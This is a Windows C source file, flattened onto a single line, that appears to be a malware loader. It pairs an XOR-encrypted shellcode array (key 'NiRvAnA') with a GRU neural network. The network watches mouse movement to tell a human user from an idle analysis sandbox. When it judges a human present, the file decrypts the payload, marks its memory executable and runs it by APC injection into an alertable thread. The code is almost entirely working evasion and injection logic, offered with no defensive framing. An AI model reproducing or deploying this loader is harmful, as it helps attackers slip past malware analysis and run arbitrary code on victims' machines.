#include #include #include #include #include #include "model_weights.h" #define PI 3.14159265358979323846f #define NUM_PHASES 3 #define PHASE_DURATION 10 #define SAMPLE_RATE_HZ 10 #define SAMPLES_PER_PHASE (PHASE_DURATION * SAMPLE_RATE_HZ) #define CLASS_HUMAN 0 #define CLASS_IDLE 1 #pragma warning(disable: 4305) unsigned char payload[] = { 0xB2, 0x21, 0xD1, 0x92, 0xB1, 0x86, 0x81, 0x4E, 0x69, 0x52, 0x37, 0x10, 0x2F, 0x11, 0x1C, 0x38, 0x04, 0x3E, 0x70, 0xBC, 0x24, 0x06, 0xE2, 0x00, 0x16, 0x09, 0xE5, 0x13, 0x56, 0x21, 0xD9, 0x24, 0x61, 0x26, 0xCA, 0x3C, 0x39, 0x1A, 0x79, 0xF6, 0x24, 0x0B, 0x03, 0x58, 0x9B, 0x3E, 0x70, 0xAE, 0xED, 0x72, 0x08, 0x2E, 0x74, 0x6D, 0x4E, 0x00, 0x8F, 0xA0, 0x5F, 0x37, 0x40, 0xAF, 0xA3, 0xA3, 0x3B, 0x13, 0x27, 0x09, 0xE5, 0x13, 0x6E, 0xE2, 0x10, 0x4A, 0x09, 0x6F, 0x91, 0xC5, 0xE9, 0xDA, 0x76, 0x41, 0x6E, 0x09, 0xCB, 0xA9, 0x26, 0x11, 0x09, 0x6F, 0x91, 0x1E, 0xE2, 0x1A, 0x6E, 0x05, 0xE5, 0x01, 0x6E, 0x20, 0x53, 0xA6, 0xA2, 0x38, 0x09, 0xB1, 0xA0, 0x13, 0xFD, 0x75, 0xE6, 0x09, 0x4F, 0xBF, 0x1F, 0x47, 0x88, 0x26, 0x70, 0x8E, 0xC5, 0x13, 0xB7, 0x88, 0x63, 0x00, 0x4F, 0xA8, 0x6A, 0x96, 0x34, 0x9F, 0x0D, 0x4D, 0x25, 0x76, 0x7E, 0x04, 0x57, 0x90, 0x3B, 0xB1, 0x0A, 0x32, 0xCA, 0x2E, 0x65, 0x07, 0x68, 0x82, 0x10, 0x00, 0xE5, 0x4D, 0x06, 0x2D, 0xD9, 0x36, 0x5D, 0x27, 0x40, 0x9E, 0x28, 0xD9, 0x72, 0xC9, 0x26, 0x40, 0x9E, 0x28, 0x0A, 0x37, 0x19, 0x30, 0x18, 0x14, 0x28, 0x0A, 0x37, 0x18, 0x2F, 0x1B, 0x06, 0xEA, 0xBE, 0x56, 0x00, 0x3C, 0xBE, 0xAE, 0x31, 0x13, 0x2F, 0x1B, 0x26, 0xCA, 0x5C, 0x80, 0x05, 0x89, 0xBE, 0x91, 0x1C, 0x06, 0xD3, 0x53, 0x76, 0x41, 0x6E, 0x41, 0x4E, 0x69, 0x52, 0x3E, 0xCC, 0xE3, 0x40, 0x4F, 0x69, 0x52, 0x37, 0xFB, 0x5F, 0xCA, 0x21, 0xEE, 0xAD, 0xA3, 0xFA, 0x9E, 0xF4, 0xEC, 0x3F, 0x13, 0xCC, 0xE7, 0xFB, 0xFC, 0xD3, 0x96, 0x87, 0x3E, 0xC2, 0xAA, 0x69, 0x72, 0x6F, 0x2E, 0x7C, 0xC1, 0x95, 0xA1, 0x3B, 0x6C, 0xE9, 0x31, 0x52, 0x1C, 0x2E, 0x24, 0x69, 0x0B, 0x37, 0xC8, 0xB4, 0xBE, 0x9B, 0x0A, 0x33, 0x1A, 0x22, 0x40, 0x24, 0x36, 0x0C, 0x52 }; unsigned int payload_len = sizeof(payload); char my_secrect_key[] = "NiRvAnA"; void XOR(unsigned char* data, size_t data_len, char* key, size_t key_len) { int j = 0; for (int i = 0; i < data_len; i++) { if (j == key_len - 1) j = 0; data[i] = data[i] ^ key[j]; j++; } } DWORD WINAPI AlertableThread(LPVOID lpParam) { printf("[+] Thread entered alertable state...\n"); SleepEx(INFINITE, TRUE); return 0; } BOOL RunViaApcInjection(HANDLE hThread, PBYTE pPayload, SIZE_T sPayloadSize) { PVOID pAddress = NULL; DWORD dwOldProtection = NULL; pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); XOR((char*)pPayload, sPayloadSize, my_secrect_key, sizeof(my_secrect_key)); if (pAddress == NULL) { printf("\t[!] VirtualAlloc Failed With Error : %d \n", GetLastError()); return FALSE; } memcpy(pAddress, pPayload, sPayloadSize); if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) { printf("\t[!] VirtualProtect Failed With Error : %d \n", GetLastError()); return FALSE; } if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) { printf("\t[!] QueueUserAPC Failed With Error : %d \n", GetLastError()); return FALSE; } return TRUE; } static inline float sigmoid(float x) { return 1.0f / (1.0f + expf(-x)); } static inline float tanh_activation(float x) { return tanhf(x); } static void compute_softmax(const float logits[NUM_CLASSES], float probabilities[NUM_CLASSES]) { float max_logit = logits[0]; for (int i = 1; i < NUM_CLASSES; i++) { if (logits[i] > max_logit) max_logit = logits[i]; } float sum = 0.0f; for (int i = 0; i < NUM_CLASSES; i++) { probabilities[i] = expf(logits[i] - max_logit); sum += probabilities[i]; } for (int i = 0; i < NUM_CLASSES; i++) probabilities[i] /= sum; } static void run_gru_inference(const float raw_seq[SEQ_LENGTH][INPUT_SIZE], float output_logits[NUM_CLASSES]) { float h[HIDDEN_SIZE] = { 0.0f }; float next_h[HIDDEN_SIZE] = { 0.0f }; float scaled[SEQ_LENGTH][INPUT_SIZE]; for (int t = 0; t < SEQ_LENGTH; t++) { float accel = raw_seq[t][2]; float jerk = raw_seq[t][3]; float log_accel = (accel > 0.0f ? 1.0f : accel < 0.0f ? -1.0f : 0.0f) * log1pf(fabsf(accel)); float log_jerk = (jerk > 0.0f ? 1.0f : jerk < 0.0f ? -1.0f : 0.0f) * log1pf(fabsf(jerk)); scaled[t][0] = (raw_seq[t][0] - SCALER_MEAN[0]) / SCALER_STD[0]; scaled[t][1] = (raw_seq[t][1] - SCALER_MEAN[1]) / SCALER_STD[1]; scaled[t][2] = (log_accel - SCALER_MEAN[2]) / SCALER_STD[2]; scaled[t][3] = (log_jerk - SCALER_MEAN[3]) / SCALER_STD[3]; for (int i = 4; i < INPUT_SIZE; i++) scaled[t][i] = (raw_seq[t][i] - SCALER_MEAN[i]) / SCALER_STD[i]; } for (int t = 0; t < SEQ_LENGTH; t++) { for (int j = 0; j < HIDDEN_SIZE; j++) { const int r_idx = j; const int z_idx = j + HIDDEN_SIZE; const int n_idx = j + 2 * HIDDEN_SIZE; float r_gate = gru_bias_ih_l0[r_idx] + gru_bias_hh_l0[r_idx]; float z_gate = gru_bias_ih_l0[z_idx] + gru_bias_hh_l0[z_idx]; float n_gate = gru_bias_ih_l0[n_idx] + gru_bias_hh_l0[n_idx]; for (int i = 0; i < INPUT_SIZE; i++) { r_gate += scaled[t][i] * gru_weight_ih_l0[r_idx][i]; z_gate += scaled[t][i] * gru_weight_ih_l0[z_idx][i]; n_gate += scaled[t][i] * gru_weight_ih_l0[n_idx][i]; } float r_hid = 0.0f, z_hid = 0.0f, n_hid = 0.0f; for (int i = 0; i < HIDDEN_SIZE; i++) { r_hid += h[i] * gru_weight_hh_l0[r_idx][i]; z_hid += h[i] * gru_weight_hh_l0[z_idx][i]; n_hid += h[i] * gru_weight_hh_l0[n_idx][i]; } float rt = sigmoid(r_gate + r_hid); float zt = sigmoid(z_gate + z_hid); float nt = tanh_activation(n_gate + rt * n_hid); next_h[j] = (1.0f - zt) * nt + zt * h[j]; } memcpy(h, next_h, sizeof(h)); } for (int c = 0; c < NUM_CLASSES; c++) { output_logits[c] = fc_bias[c]; for (int j = 0; j < HIDDEN_SIZE; j++) output_logits[c] += h[j] * fc_weight[c][j]; } } static int argmax(const float array[], int size) { int best_idx = 0; float best_val = array[0]; for (int i = 1; i < size; i++) { if (array[i] > best_val) { best_val = array[i]; best_idx = i; } } return best_idx; } static int run_analysis_phase(int phase_id) { float window[SEQ_LENGTH][INPUT_SIZE] = { { 0.0f } }; float output_logits[NUM_CLASSES] = { 0.0f }; float probabilities[NUM_CLASSES] = { 0.0f }; POINT cursor = { 0 }; GetCursorPos(&cursor); long last_x = cursor.x; long last_y = cursor.y; float last_speed = 0.0f; float last_accel = 0.0f; float last_angle = 0.0f; int idle_streak = 0; printf("[*] Phase [%d/%d] Collecting %d samples at %d Hz ...\n", phase_id, NUM_PHASES, SAMPLES_PER_PHASE, SAMPLE_RATE_HZ); for (int s = 0; s < SAMPLES_PER_PHASE; s++) { Sleep(1000 / SAMPLE_RATE_HZ); GetCursorPos(&cursor); long vx = cursor.x - last_x; long vy = cursor.y - last_y; float distance = sqrtf((float)(vx * vx + vy * vy)); float speed = distance / 0.1f; float acceleration = (speed - last_speed) / 0.1f; float jerk = (acceleration - last_accel) / 0.1f; float angle = atan2f((float)vy, (float)vx) * (180.0f / PI); float angular_velocity = (angle - last_angle) / 0.1f; int idle = (distance == 0.0f) ? 1 : 0; idle_streak = idle ? (idle_streak + 1) : 0; for (int i = 0; i < SEQ_LENGTH - 1; i++) memcpy(window[i], window[i + 1], sizeof(float) * INPUT_SIZE); int slot = SEQ_LENGTH - 1; window[slot][0] = distance; window[slot][1] = speed; window[slot][2] = acceleration; window[slot][3] = jerk; window[slot][4] = angle; window[slot][5] = angular_velocity; window[slot][6] = (float)vx; window[slot][7] = (float)vy; window[slot][8] = (float)idle; window[slot][9] = (float)idle_streak; last_x = cursor.x; last_y = cursor.y; last_speed = speed; last_accel = acceleration; last_angle = angle; } run_gru_inference(window, output_logits); compute_softmax(output_logits, probabilities); int verdict = argmax(output_logits, NUM_CLASSES); printf(" Logits : [C0=%.4f C1=%.4f]\n", output_logits[0], output_logits[1]); printf(" Probs : [Human=%.1f%% Idle=%.1f%%]\n", probabilities[CLASS_HUMAN] * 100.0f, probabilities[CLASS_IDLE] * 100.0f); printf(" Decision: Class %d\n\n", verdict); return verdict; } int main(void) { printf("[*] GRU Mouse Behaviour Analysis \n"); printf("[*] Phases : %d | Duration per phase : %d s | Total : %d s\n",NUM_PHASES, PHASE_DURATION, NUM_PHASES * PHASE_DURATION); int votes[NUM_PHASES] = { 0 }; for (int i = 0; i < NUM_PHASES; i++) votes[i] = run_analysis_phase(i + 1); int tally[2] = { 0, 0 }; for (int i = 0; i < NUM_PHASES; i++) tally[votes[i]]++; int final_verdict = CLASS_HUMAN; if (tally[CLASS_IDLE] > tally[final_verdict]) final_verdict = CLASS_IDLE; if (final_verdict == CLASS_HUMAN) { printf(" [PASS] Human interaction confirmed.\n"); HANDLE hThread = CreateThread( NULL, 0, AlertableThread, NULL, CREATE_SUSPENDED, NULL ); if (!hThread) { printf("[!] Thread creation failed\n"); return -1; } if (RunViaApcInjection(hThread, payload, payload_len)) { ResumeThread(hThread); WaitForSingleObject(hThread, INFINITE); printf("[+] Payload injected successfully via APC.\n"); } else { printf("[!] Payload injection failed.\n"); } } else { printf("IDLE DETECTED\n"); printf("[!] System appears idle. Payload execution aborted.\n"); } return 0; }